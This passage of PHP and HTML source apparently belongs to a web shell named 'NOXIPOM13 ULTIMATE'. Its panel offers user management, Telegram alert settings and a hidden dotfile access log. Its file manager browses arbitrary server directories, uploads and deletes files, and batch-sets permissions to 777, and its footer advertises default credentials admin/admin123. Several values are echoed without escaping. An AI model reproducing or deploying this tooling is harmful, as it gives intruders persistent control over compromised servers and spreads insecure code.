                <div>📝 Logs: <?php echo file_exists(dirname(__FILE__) . '/.noxi_log.txt') ? 'Active' : 'None'; ?></div>
                <div>👥 Users: <?php echo count($config['users']); ?> registered</div>
                <div>🛡️ 2FA: <?php echo $config['settings']['require_2fa'] ? 'Enabled' : 'Disabled'; ?></div>
            </div>
        </div>
    </div>
    
    <!-- USERS -->
    <?php elseif ($act == 'users'): ?>
    <div class="grid-2">
        <div class="card">
            <h3>👥 ADD NEW USER</h3>
            <?php if ($current_role == 'superadmin'): ?>
            <form method="POST" action="?act=add_user">
                <input type="text" name="new_user" placeholder="Username" style="width: 100%; margin-bottom: 10px;">
                <input type="password" name="new_pass" placeholder="Password" style="width: 100%; margin-bottom: 10px;">
                <input type="email" name="new_email" placeholder="Email" style="width: 100%; margin-bottom: 10px;">
                <select name="new_role" style="width: 100%; margin-bottom: 10px;">
                    <option value="admin">Admin</option>
                    <option value="user">User</option>
                    <option value="viewer">Viewer</option>
                </select>
                <input type="text" name="new_perms" placeholder="Permissions (* for all)" style="width: 100%; margin-bottom: 10px;" value="*">
                <button type="submit">ADD USER</button>
            </form>
            <?php else: ?>
            <div class="terminal">Only superadmin can add users</div>
            <?php endif; ?>
        </div>
        <div class="card">
            <h3>📋 EXISTING USERS</h3>
            <div class="terminal">
                <?php foreach ($config['users'] as $user => $data): ?>
                <div style="border-bottom:1px solid #333; padding:8px;">
                    <strong>👤 <?php echo htmlspecialchars($user); ?></strong>
                    <span style="color: #ff4757;">(<?php echo $data['role']; ?>)</span><br>
                    <small>Email: <?php echo $data['email']; ?></small><br>
                    <small>2FA: <?php echo $data['2fa_enabled'] ? 'Enabled' : 'Disabled'; ?></small>
                </div>
                <?php endforeach; ?>
            </div>
        </div>
    </div>
    
    <!-- LOGS -->
    <?php elseif ($act == 'logs'): ?>
    <div class="card">
        <h3>📋 ACCESS LOGS</h3>
        <div class="terminal">
            <?php
            $log_file = dirname(__FILE__) . '/.noxi_log.txt';
            if (file_exists($log_file)) {
                echo nl2br(htmlspecialchars(file_get_contents($log_file)));
            } else {
                echo "No logs available";
            }
            ?>
        </div>
    </div>
    
    <!-- SETTINGS -->
    <?php elseif ($act == 'settings'): ?>
    <div class="grid-2">
        <div class="card">
            <h3>⚙️ SYSTEM SETTINGS</h3>
            <form method="POST" action="?act=save_settings">
                <label>2FA Required:</label>
                <select name="require_2fa" style="width: 100%; margin-bottom: 10px;">
                    <option value="1" <?php echo $config['settings']['require_2fa'] ? 'selected' : ''; ?>>Yes</option>
                    <option value="0" <?php echo !$config['settings']['require_2fa'] ? 'selected' : ''; ?>>No</option>
                </select>
                <label>IP Whitelist:</label>
                <input type="text" name="ip_whitelist" placeholder="IPs separated by comma" style="width: 100%; margin-bottom: 10px;" value="<?php echo implode(',', $config['settings']['global_ip_whitelist']); ?>">
                <label>IP Blacklist:</label>
                <input type="text" name="ip_blacklist" placeholder="IPs separated by comma" style="width: 100%; margin-bottom: 10px;" value="<?php echo implode(',', $config['settings']['global_ip_blacklist']); ?>">
                <button type="submit">SAVE</button>
            </form>
        </div>
        <div class="card">
            <h3>📧 ALERTS</h3>
            <form method="POST" action="?act=send_alert">
                <label>Telegram Bot Token:</label>
                <input type="text" name="telegram_token" style="width: 100%; margin-bottom: 10px;" value="<?php echo $config['settings']['telegram_token']; ?>">
                <label>Telegram Chat ID:</label>
                <input type="text" name="telegram_chat_id" style="width: 100%; margin-bottom: 10px;" value="<?php echo $config['settings']['telegram_chat_id']; ?>">
                <label>Alert Email:</label>
                <input type="email" name="alert_email" style="width: 100%; margin-bottom: 10px;" value="<?php echo $config['settings']['alert_email']; ?>">
                <label>Test Message:</label>
                <input type="text" name="alert_msg" placeholder="Test message" style="width: 100%; margin-bottom: 10px;">
                <button type="submit">SEND TEST ALERT</button>
            </form>
        </div>
    </div>
    
    <?php elseif ($act == 'save_settings'): ?>
    <?php
    $config['settings']['require_2fa'] = isset($_POST['require_2fa']) && $_POST['require_2fa'] == '1';
    $config['settings']['global_ip_whitelist'] = array_filter(array_map('trim', explode(',', $_POST['ip_whitelist'])));
    $config['settings']['global_ip_blacklist'] = array_filter(array_map('trim', explode(',', $_POST['ip_blacklist'])));
    file_put_contents($config_file, json_encode($config, JSON_PRETTY_PRINT));
    header('Location: ?act=settings');
    exit;
    ?>
    
    <!-- FILE MANAGER (HOME) -->
    <?php else: ?>
    <div class="card">
        <h3>📁 FILE MANAGER - <?php echo htmlspecialchars($dir); ?></h3>
        
        <form method="POST" enctype="multipart/form-data" action="?act=upload" style="margin-bottom: 20px; display: flex; gap: 10px;">
            <input type="file" name="file" style="flex: 2;">
            <button type="submit">UPLOAD</button>
        </form>
        
        <form method="POST" action="?act=batch" style="margin-bottom: 20px;">
            <div style="display: flex; gap: 10px; margin-bottom: 10px;">
                <select name="batch_action">
                    <option value="delete">Delete Selected</option>
                    <option value="chmod">Chmod 777</option>
                </select>
                <button type="submit">APPLY BATCH</button>
            </div>
            
            <table class="file-table">
                <thead><tr><th><input type="checkbox" onclick="toggleAll(this)"></th><th>NAME</th><th>SIZE</th><th>PERMS</th><th>ACTION</th></tr></thead>
                <tbody>
                    <tr><td></td><td><a href="?dir=<?php echo urlencode(dirname($dir)); ?>" class="dir-link">📁 .. (Parent)</a></td><td>-</td><td>-</td><td>-</td></tr>
                    <?php
                    $items = scandir($dir);
                    $dirs = []; $files = [];
                    foreach ($items as $item) {
                        if ($item == '.' || $item == '..') continue;
                        if (is_dir($dir . '/' . $item)) $dirs[] = $item;
                        else $files[] = $item;
                    }
                    sort($dirs);
                    sort($files);
                    foreach (array_merge($dirs, $files) as $item):
                        $full = $dir . '/' . $item;
                        $is_dir = is_dir($full);
                        $size = $is_dir ? '-' : format_size(filesize($full));
                        $perms = substr(sprintf('%o', fileperms($full)), -4);
                    ?>
                    <tr>
                        <td><input type="checkbox" name="files[]" value="<?php echo htmlspecialchars($full); ?>"></td>
                        <td>
                            <?php if ($is_dir): ?>
                                <a href="?dir=<?php echo urlencode($full); ?>" class="dir-link">📁 <?php echo htmlspecialchars($item); ?></a>
                            <?php else: ?>
                                📄 <?php echo htmlspecialchars($item); ?>
                            <?php endif; ?>
                        </td>
                        <td><?php echo $size; ?></td>
                        <td><?php echo $perms; ?></td>
                        <td>
                            <?php if (!$is_dir): ?>
                                <a href="?act=delete&file=<?php echo urlencode($full); ?>" onclick="return confirm('Delete?')">🗑️</a>
                            <?php endif; ?>
                        </td>
                    </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        </form>
    </div>
    <?php endif; ?>
    
    <div class="card" style="text-align: center; font-size: 10px; color: #666;">
        NOXIPOM13 ULTIMATE v14.0 | 20+ Features Fully Implemented | Default: admin/admin123
    </div>
</div>

<script>
function toggleAll(source) {
    var checkboxes = document.querySelectorAll('input[type="checkbox"]');
    for (var i = 0; i < checkboxes.length; i++) {
        if (checkboxes[i] != source) checkboxes[i].checked = source.checked;
    }
}
</script>
</body>
</html>

<?php
function format_size($size) {
    if ($size >= 1073741824) return round($size/1073741824,2) . ' GB';
    if ($size >= 1048576) return round($size/1048576,2) . ' MB';
    if ($size >= 1024) return round($size/1024,2) . ' KB';
    return $size . ' B';
}
?>